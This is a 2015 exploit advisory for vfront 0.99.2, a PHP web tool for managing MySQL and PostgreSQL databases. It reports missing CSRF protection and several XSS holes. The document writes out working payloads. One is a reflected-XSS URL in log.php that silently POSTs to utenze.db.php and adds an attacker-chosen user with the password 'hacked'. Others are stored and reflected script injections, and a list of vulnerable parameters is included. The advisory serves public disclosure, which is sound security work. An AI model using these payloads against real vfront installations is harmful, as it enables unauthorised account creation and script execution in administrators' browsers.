# Exploit Title: CSRF & Persistent XSS # Google Dork: intitle: CSRF & Persistent XSS # Date: 2015-06-02 # Exploit Author: John Page (hyp3rlinx) # Website: hyp3rlinx.altervista.org/ # Vendor Homepage: www.vfront.org # Software Link: www.vfront.org # Version: 0.99.2 # Tested on: windows 7 # Category: webapps Product: =================================================================================== vfront-0.99.2 is a PHP web based MySQL & PostgreSQL database management application. Advisory Information: ==================================== CSRF, Persistent XSS & reflected XSS Vulnerability Detail(s): ======================= CSRF: ========= No CSRF token in place, therefore we can add arbitrary users to the system. Persistent XSS: ================ variabili.php has multiple XSS vectors using POST method, one input field 'altezza_iframe_tabella_gid' will store XSS payload into the MySQL database which will be run each time variabili.php is accessed from victims browser. Persisted XSS stored in MySQL DB: ================================= DB-----> vfront_vfront TABLE-----> variabili COLUMN------> valore (will contain our XSS) Exploit code(s): =============== CSRF code add arbitrary users to system: ======================================= http://localhost/vfront-0.99.2/vfront-0.99.2/admin/log.php?op="/><script>var xhr%3dnew XMLHttpRequest();xhr.onreadystatechange%3dfunction(){if(xhr.status%3d%3d200){if(xhr.readyState%3d%3d4){alert(xhr.responseText);}}};xhr.open('POST','utenze.db.php?insert_new',true);xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');xhr.send('nome%3dhyp3rlinxe%26cognome%3dapparitionsec%26email%3dx@x.com%26passwd%3dhacked%26passwd1%3dhacked');</script>&tabella=&uid=&data_dal=All&data_al=All Persistent XSS: ================ http://localhost/vfront-0.99.2/vfront-0.99.2/admin/variabili.php?feed=0&gidfocus=0 Inject XSS into 'the altezza_iframe_tabella_gid' input field to store in database. "/><script>alert(666)</script> Reflected XSS(s): ================= http://localhost/vfront-0.99.2/vfront-0.99.2/admin/query_editor.php?id=&id_table=&id_campo="/><script>alert(666)</script> XSS vulnerable input fields: ============================ http://localhost/vfront-0.99.2/vfront-0.99.2/admin/variabili.php altezza_iframe_tabella_gid <------------- ( Persistent XSS ) passo_avanzamento_veloce_gid n_record_tabella_gid search_limit_results_gid max_tempo_edit_gid home_redirect_gid formati_attach_gid default_group_ext_gid cron_days_min_gid Disclosure Timeline: =================================== Vendor Notification: May 31, 2015 June 2, 2015 : Public Disclosure Severity Level: =================================== High Description: ========================================================== Request Method(s): [+] GET & POST Vulnerable Product: [+] vfront-0.99.2 Vulnerable Parameter(s): [+] altezza_iframe_tabella_gid passo_avanzamento_veloce_gid n_record_tabella_gid search_limit_results_gid max_tempo_edit_gid home_redirect_gid formati_attach_gid default_group_ext_gid cron_days_min_gid id_campo op Affected Area(s): [+] Admin & MySQL DB =============================================================== (hyp3rlinx)